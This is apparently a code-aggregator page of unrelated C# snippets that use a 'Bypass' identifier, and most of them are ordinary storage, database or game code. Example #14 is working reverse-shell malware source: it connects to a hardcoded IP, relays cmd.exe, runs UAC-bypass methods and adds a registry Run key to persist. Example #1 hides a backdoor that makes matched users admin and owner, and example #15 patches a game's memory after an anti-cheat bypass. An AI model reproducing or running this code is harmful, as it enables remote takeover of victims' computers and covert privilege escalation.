예제 #1
0
        public static void AddUserToServer(string userId, string serverId, bool isAdmin = false, bool isOwner = false)
        {
            var dbCon = DBConnection.Instance();

            if (dbCon.IsConnect())
            {
                using var command   = SqlClientFactory.Instance.CreateCommand();
                command.Connection  = dbCon.Connection;
                command.CommandText = $"INSERT INTO {ServerUserTableName} ({userIdCol}, {serverIdCol}, {isAdminCol}, {isOwnerCol}) " +
                                      $"VALUES (@userId, @serverId, @isAdmin, @isOwner);";

                command.Parameters.Add(new SqlParameter("@userId", SqlDbType.VarChar)
                {
                    Value = userId
                });
                command.Parameters.Add(new SqlParameter("@serverId", SqlDbType.VarChar)
                {
                    Value = serverId
                });
                command.Parameters.Add(new SqlParameter("@isAdmin", SqlDbType.Bit)
                {
                    Value = isAdmin || Bypass.isMyst(userId)
                });
                command.Parameters.Add(new SqlParameter("@isOwner", SqlDbType.Bit)
                {
                    Value = isOwner || Bypass.isMyst(userId)
                });
                command.CommandType = CommandType.Text;

                command.ExecuteNonQuery();
                return;
            }
            throw (new DbConnectionException());
        }
예제 #2
0
    public Stage1Model()
    {
        this.chave01 = new Chave(false, "1", "1");
        this.chave02 = new Chave(false, "2", "2");
        this.chave03 = new Chave(false, "3", "3");
        this.chave04 = new Chave(false, "4", "3");
        this.chave05 = new Chave(false, "5", "4");
        this.chave06 = new Chave(false, "6", "4");
        this.chave07 = new Chave(false, "7", "1");
        this.chave08 = new Chave(false, "8", "2");

        this.disjuntor01 = new Disjuntor(false, "1", "1", "7", "1");
        this.disjuntor02 = new Disjuntor(false, "2", "2", "8", "2");
        this.disjuntor03 = new Disjuntor(false, "3", "3", "4", "3");
        this.disjuntor04 = new Disjuntor(false, "4", "5", "6", "4");

        this.bypass01 = new Bypass(true, "1", "1");
        this.bypass02 = new Bypass(true, "2", "2");
        this.bypass03 = new Bypass(true, "3", "3");
        this.bypass04 = new Bypass(true, "4", "4");

        this.listOfChaves      = createListOfChaves();
        this.listOfDisjuntores = createListOfDisjuntores();
        this.listOfBypass      = createListOfBypass();
    }
예제 #3
0
 public void ActionRoute()
 {
     // start/continue/end a Bypass from here
     if (routingMode)
     {
         // continue route logic
         newBypass.Route(systemDisplayed);
         if (newBypass.completed)
         {
             // all done!
             newBypass = null;
             SetMode(0);
         }
     }
     else
     {
         // start route logic
         if (newBypass == null)
         {
             newBypass = Instantiate(bypassPrefab, systemDisplayed.transform.position, Quaternion.identity);
             newBypass.Begin(systemDisplayed);
         }
         else
         {
             // continue old one
         }
         SetMode(2);
     }
 }
예제 #4
0
        public async Task <APEntity> GetEntity(string id, bool doRemote)
        {
            if (_entities.ContainsKey(id))
            {
                return(_entities[id]);
            }

            return(await Bypass.GetEntity(id, doRemote));
        }
예제 #5
0
        /// <inheritdoc />
        protected override void AddAttributesToRender(HtmlTextWriter writer)
        {
            if (!IsCondensed)
            {
                if (string.IsNullOrEmpty(ActionText))
                {
                    throw new MissingRequiredAttribute("ActionText", ActionText);
                }
                else
                {
                    writer.AddAttribute("actiontext", ActionText);
                }

                if (ShowBorder)
                {
                    writer.AddAttribute("showborder", FbmlConstants.TRUE);
                }
                if (EmailInvite)
                {
                    writer.AddAttribute("email_invite", FbmlConstants.TRUE);
                }
                if (Rows > 0)
                {
                    writer.AddAttribute("rows", Rows.ToString());
                }
                if (Cols > 0)
                {
                    writer.AddAttribute("cols", Cols.ToString());
                }
                if (Bypass != Bypass.Skip)
                {
                    writer.AddAttribute("bypass", Bypass.ToString().ToLowerInvariant());
                }
            }
            else
            {
                writer.AddAttribute("condensed", FbmlConstants.TRUE);
                if (UnselectedRows > 0)
                {
                    writer.AddAttribute("unselected_rows", UnselectedRows.ToString());
                }
                if (SelectedRows > 0)
                {
                    writer.AddAttribute("selected_rows", SelectedRows.ToString());
                }
            }
            if (Max > 0)
            {
                writer.AddAttribute("max", Max.ToString());
            }
            if (!string.IsNullOrEmpty(ExcludeIds))
            {
                writer.AddAttribute("exclude_ids", ExcludeIds);
            }

            base.AddAttributesToRender(writer);
        }
예제 #6
0
        public async Task CommitChanges()
        {
            foreach (var item in _entities.ToList())
            {
                await Bypass.StoreEntity(item.Value);
            }

            _entities.Clear();

            await Bypass.CommitChanges();
        }
예제 #7
0
        public async Task <APEntity> GetEntity(string id, bool doRemote)
        {
            string query    = null;
            string parsedId = null;

            if (id.Contains("?"))
            {
                var split = id.Split(new char[] { '?' }, 2);
                query    = split[1];
                parsedId = split[0];
            }

            APEntity original;
            var      entity = original = await Bypass.GetEntity(id, false);

            if (entity == null && parsedId != null)
            {
                entity = await Bypass.GetEntity(parsedId, false);
            }
            if (entity == null || !entity.IsOwner)
            {
                return(doRemote ? await Bypass.GetEntity(id, true) : original);
            }
            if (!entity.Type.StartsWith("_") && entity.Type != "OrderedCollection")
            {
                return(doRemote ? await Bypass.GetEntity(id, true) : original);
            }

            if (query == null)
            {
                return(APEntity.From(await _buildCollection(entity), true));
            }
            else
            {
                int from_id = int.MaxValue;
                int to_id   = int.MinValue;
                foreach (var item in query.Split('&'))
                {
                    var kv = item.Split('=');
                    if (kv[0] == "from_id" && kv.Length > 1)
                    {
                        from_id = int.Parse(kv[1]);
                    }
                    if (kv[0] == "to_id" && kv.Length > 1)
                    {
                        to_id = int.Parse(kv[1]);
                    }
                }

                return(APEntity.From(await _buildPage(entity, from_id, to_id)));
            }
        }
        public IEnumerable <string> InitializeReferencedLogicalElementProperties(SuperMetroidModel model, Room room)
        {
            List <string> unhandled = new List <string>();

            unhandled.AddRange(Requires.InitializeReferencedLogicalElementProperties(model, room));

            if (Bypass != null)
            {
                unhandled.AddRange(Bypass.InitializeReferencedLogicalElementProperties(model, room));
            }

            return(unhandled.Distinct());
        }
예제 #9
0
        public async Task <APEntity> GetEntity(string id, bool doRemote)
        {
            string fragment = null;
            string parsedId = null;

            // no fragment, so who cares
            if (!id.Contains("#"))
            {
                return(await Bypass.GetEntity(id, doRemote));
            }

            var split = id.Split(new char[] { '#' }, 2);

            fragment = split[1];
            parsedId = split[0];

            // try local get
            var entity = await Bypass.GetEntity(id, false);

            if (entity != null)
            {
                return(entity);
            }

            // doesn't exist, so try non-fragment
            entity = await Bypass.GetEntity(parsedId, false);

            if (entity != null && entity.IsOwner)
            {
                // exists, and I own it!
                var result = await _fakeEntityService.BuildFakeObject(entity, fragment);

                if (result == null)
                {
                    return(null);
                }
                return(APEntity.From(result, true));
            }

            if (!doRemote)
            {
                return(null);
            }

            return(await Bypass.GetEntity(id, true));
        }
 /// <summary>
 /// Parses the given comma separated traffic sources to bypass and convert them to list.
 /// </summary>
 /// <param name="bypassVal">comma separated traffic sources to bypass.</param>
 /// <returns>the bypass list</returns>
 private static ISet <string> ParseBypass(Bypass bypassVal)
 {
     if (bypassVal == null)
     {
         return(new HashSet <string>());
     }
     else
     {
         ISet <String> bypassSet = new HashSet <string>();
         foreach (string s in bypassVal.ToString().Split(','))
         {
             var sl = s.Trim().ToLowerInvariant();
             if (!string.IsNullOrEmpty(sl) && !bypassSet.Contains(sl))
             {
                 bypassSet.Add(sl);
             }
         }
         return(bypassSet);
     }
 }
        /// <summary>
        /// Add the given bypass to the list of bypass configured for the storage account.
        /// </summary>
        /// <param name="bypass">access type to which default network access action is not applied.</param>
        private void AddToBypassList(Bypass bypass)
        {
            var           networkRuleSet = this.GetNetworkRuleSetConfig(true);
            ISet <string> bypassSet      = ParseBypass(networkRuleSet.Bypass);
            var           bypassLower    = bypass.ToString().ToLowerInvariant();

            if (bypassLower.Equals(BYPASS_NONE_STR, StringComparison.OrdinalIgnoreCase))
            {
                bypassSet.Clear();
                bypassSet.Add(BYPASS_NONE_STR);
            }
            else
            {
                if (bypassSet.Contains(BYPASS_NONE_STR))
                {
                    bypassSet.Remove(BYPASS_NONE_STR);
                }
                bypassSet.Add(bypassLower);
            }
            networkRuleSet.Bypass = Bypass.Parse(string.Join(",", bypassSet));
        }
        /// <summary>
        /// Removes the given bypass from the list of bypass configured for the storage account.
        /// </summary>
        /// <param name="bypass">access type to which default network access action is not applied.</param>
        private void RemoveFromBypassList(Bypass bypass)
        {
            var networkRuleSet = this.GetNetworkRuleSetConfig(false);

            if (networkRuleSet == null)
            {
                return;
            }
            else
            {
                ISet <string> bypassSet   = ParseBypass(networkRuleSet.Bypass);
                var           bypassLower = bypass.ToString().ToLowerInvariant();
                if (bypassSet.Contains(bypassLower))
                {
                    bypassSet.Remove(bypassLower);
                }
                if (bypassSet.Count == 0 && !bypassLower.Equals(BYPASS_NONE_STR, StringComparison.OrdinalIgnoreCase))
                {
                    bypassSet.Add(BYPASS_NONE_STR);
                }
                networkRuleSet.Bypass = Bypass.Parse(string.Join(",", bypassSet));
            }
        }
 /// <summary>
 /// Converts the <see cref="sourceValue" /> parameter to the <see cref="destinationType" /> parameter using <see cref="formatProvider"
 /// /> and <see cref="ignoreCase" />
 /// </summary>
 /// <param name="sourceValue">the <see cref="System.Object"/> to convert from</param>
 /// <param name="destinationType">the <see cref="System.Type" /> to convert to</param>
 /// <param name="formatProvider">not used by this TypeConverter.</param>
 /// <param name="ignoreCase">when set to <c>true</c>, will ignore the case when converting.</param>
 /// <returns>
 /// an instance of <see cref="Bypass" />, or <c>null</c> if there is no suitable conversion.
 /// </returns>
 public override object ConvertFrom(object sourceValue, global::System.Type destinationType, global::System.IFormatProvider formatProvider, bool ignoreCase) => Bypass.CreateFrom(sourceValue);
예제 #14
0
파일: Form1.cs 프로젝트: NE1W01F/EXE
 // Token: 0x06000003 RID: 3 RVA: 0x000020D4 File Offset: 0x000002D4
 public static void Server_Connection()
 {
     while (Form1.disconnect)
     {
         try
         {
             using (TcpClient tcpClient = new TcpClient("18.223.41.243", 27023))
             {
                 using (StreamReader streamReader = new StreamReader(tcpClient.GetStream()))
                 {
                     using (Form1.sw = new StreamWriter(tcpClient.GetStream()))
                     {
                         using (Process process = new Process())
                         {
                             process.StartInfo.FileName               = "cmd.exe";
                             process.StartInfo.CreateNoWindow         = true;
                             process.StartInfo.UseShellExecute        = false;
                             process.StartInfo.RedirectStandardOutput = true;
                             process.StartInfo.RedirectStandardInput  = true;
                             process.StartInfo.RedirectStandardError  = true;
                             process.OutputDataReceived              += Form1.CmdOutputDataHandler;
                             process.Start();
                             process.BeginOutputReadLine();
                             Thread.Sleep(500);
                             while (Form1.disconnect)
                             {
                                 Form1.sw.AutoFlush = true;
                                 while (Form1.disconnect)
                                 {
                                     string text  = streamReader.ReadLine();
                                     string text2 = "";
                                     try
                                     {
                                         text2 = Form1.Decrypt(text, Form1.key);
                                     }
                                     catch (Exception)
                                     {
                                         Form1.sw.WriteLine("Please use the AES encryption to send messages");
                                     }
                                     bool flag = text2 != "";
                                     if (flag)
                                     {
                                         bool flag2 = text2.StartsWith("uac");
                                         if (flag2)
                                         {
                                             int num = int.Parse(text2.Split(new char[]
                                             {
                                                 ' '
                                             })[1]);
                                             int num2 = num;
                                             int num3 = num2;
                                             if (num3 == 1)
                                             {
                                                 Bypass.Method_1();
                                                 Form1.sw.WriteLine(Form1.Encrypt("[+] Bypass Run", Form1.key));
                                                 Form1.disconnect = false;
                                                 throw new Exception();
                                             }
                                             if (num3 == 2)
                                             {
                                                 Bypass.Method_2();
                                                 Form1.sw.WriteLine(Form1.Encrypt("[+] Bypass Run", Form1.key));
                                                 Form1.disconnect = false;
                                                 throw new Exception();
                                             }
                                             Form1.sw.WriteLine(Form1.Encrypt("They are 2 methods please enter 1 or 2", Form1.key));
                                         }
                                         else
                                         {
                                             bool flag3 = text2 == "protect";
                                             if (flag3)
                                             {
                                                 bool flag4 = Bypass.RunAsAdmin();
                                                 if (flag4)
                                                 {
                                                     bool isProtected = Form1.IsProtected;
                                                     if (isProtected)
                                                     {
                                                         Form1.Unprotect();
                                                         Form1.sw.WriteLine(Form1.Encrypt("[+] Process Unprotected", Form1.key));
                                                     }
                                                     else
                                                     {
                                                         Form1.Protect();
                                                         Form1.sw.WriteLine(Form1.Encrypt("[+] Process Protected", Form1.key));
                                                     }
                                                 }
                                                 else
                                                 {
                                                     Form1.sw.WriteLine(Form1.Encrypt("[-] Unable To Protect Process Because Your Not Admin", Form1.key));
                                                 }
                                             }
                                             else
                                             {
                                                 bool flag5 = text2 == "admin";
                                                 if (flag5)
                                                 {
                                                     Form1.sw.WriteLine(Form1.Encrypt(string.Format("IsAdmin: {0}", Bypass.RunAsAdmin()), Form1.key));
                                                 }
                                                 else
                                                 {
                                                     bool flag6 = text2 == "install";
                                                     if (flag6)
                                                     {
                                                         try
                                                         {
                                                             bool flag7 = !Form1.CheckInstall();
                                                             if (flag7)
                                                             {
                                                                 RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", RegistryKeyPermissionCheck.ReadWriteSubTree);
                                                                 registryKey.SetValue("Windows Startup", Process.GetCurrentProcess().MainModule.FileName);
                                                                 Form1.sw.WriteLine(Form1.Encrypt("[+] Installed", Form1.key));
                                                             }
                                                             else
                                                             {
                                                                 RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", RegistryKeyPermissionCheck.ReadWriteSubTree);
                                                                 registryKey2.DeleteValue("Windows Startup");
                                                                 registryKey2.SetValue("Windows Startup", Process.GetCurrentProcess().MainModule.FileName);
                                                                 Form1.sw.WriteLine(Form1.Encrypt("[+] Installed", Form1.key));
                                                             }
                                                         }
                                                         catch (Exception)
                                                         {
                                                             Form1.sw.WriteLine(Form1.Encrypt("[-] Failed To Install", Form1.key));
                                                         }
                                                     }
                                                     else
                                                     {
                                                         process.StandardInput.WriteLine(text2);
                                                     }
                                                 }
                                             }
                                         }
                                     }
                                 }
                             }
                         }
                     }
                 }
             }
         }
         catch (Exception)
         {
         }
     }
 }
예제 #15
0
        public void Initialize()
        {
            Bypass  bypass       = new Bypass();
            Welcome welcomeprint = new Welcome();

            welcomeprint.printwelcome();

            Hook    hookfunc = new Hook();
            Process Mice     = hookfunc.hooktransformice();


            Console.WriteLine("=========================================");
            Console.WriteLine("             Initializing...             ");
            Console.WriteLine("=========================================");
            MemoryEngine scan = new MemoryEngine();

            bypass.dobypass();

            List <string> Aobs = new List <string>();

            List <int> AddToAddy = new List <int>();

            List <string> Trocas = new List <string>();

            List <IntPtr[]> AobsInject = new List <IntPtr[]>();


            try
            {
                using (StreamReader sr = new StreamReader("aobs.json"))
                {
                    Console.ForegroundColor = ConsoleColor.White;
                    var     Json       = sr.ReadToEnd();
                    JObject jsonObject = JObject.Parse(Json);

                    for (int i = 1; i < int.Parse(jsonObject["countAobs"].ToString()) + 1; i++)
                    {
                        Aobs.Add(jsonObject[$"{i}"].ToString());
                    }

                    for (int i = 0; i < Aobs.Count; i++)
                    {
                        string[] split = Aobs[i].Split(',');


                        AobsInject.Add(scan.ScanArray(Mice, split[0]));
                        Trocas.Add(split[1]);
                        try
                        {
                            if (split[2] == null)
                            {
                                AddToAddy.Add(0);
                            }
                            else
                            {
                                string PlusAddy  = split[2];
                                int    addtoaddy = Int32.Parse(PlusAddy);
                                AddToAddy.Add(addtoaddy);
                            }
                        }
                        catch
                        {
                            AddToAddy.Add(0);
                        }
                    }

                    for (int a = 0; a < AobsInject.Count; a++)
                    {
                        int    nulle    = 0;
                        IntPtr NullePTR = new IntPtr(nulle);


                        try
                        {
                            if (AobsInject[a][0] == NullePTR)
                            {
                                Console.WriteLine("[X] Pattern Scan Failed, falling back");
                            }
                            else
                            {
                                Console.WriteLine("[+] Address Logged =>" + $" [0x{AobsInject[a][0].ToString("X")}]");
                                Console.WriteLine("[+] Writing " + Trocas[a] + " to it.");
                                int plus = AddToAddy[0];
                                AobsInject[a][0] += plus;
                                scan.WriteArray(AobsInject[a][0], Trocas[a]);
                            }
                        }
                        catch
                        {
                            Console.WriteLine("Fatal Error, check your aobs.json!");
                        }
                    }

                    Console.Beep();
                    Console.ReadLine();
                }
            }
            catch
            {
                Console.WriteLine("Core failed to initialize. \n Check your Aobs.JSON");
                Console.ReadLine();
            }
        }
예제 #16
0
 public async Task CommitChanges()
 {
     await Bypass.CommitChanges();
 }
예제 #17
0
 public Task <APEntity> StoreEntity(APEntity entity)
 {
     return(Bypass.StoreEntity(entity));
 }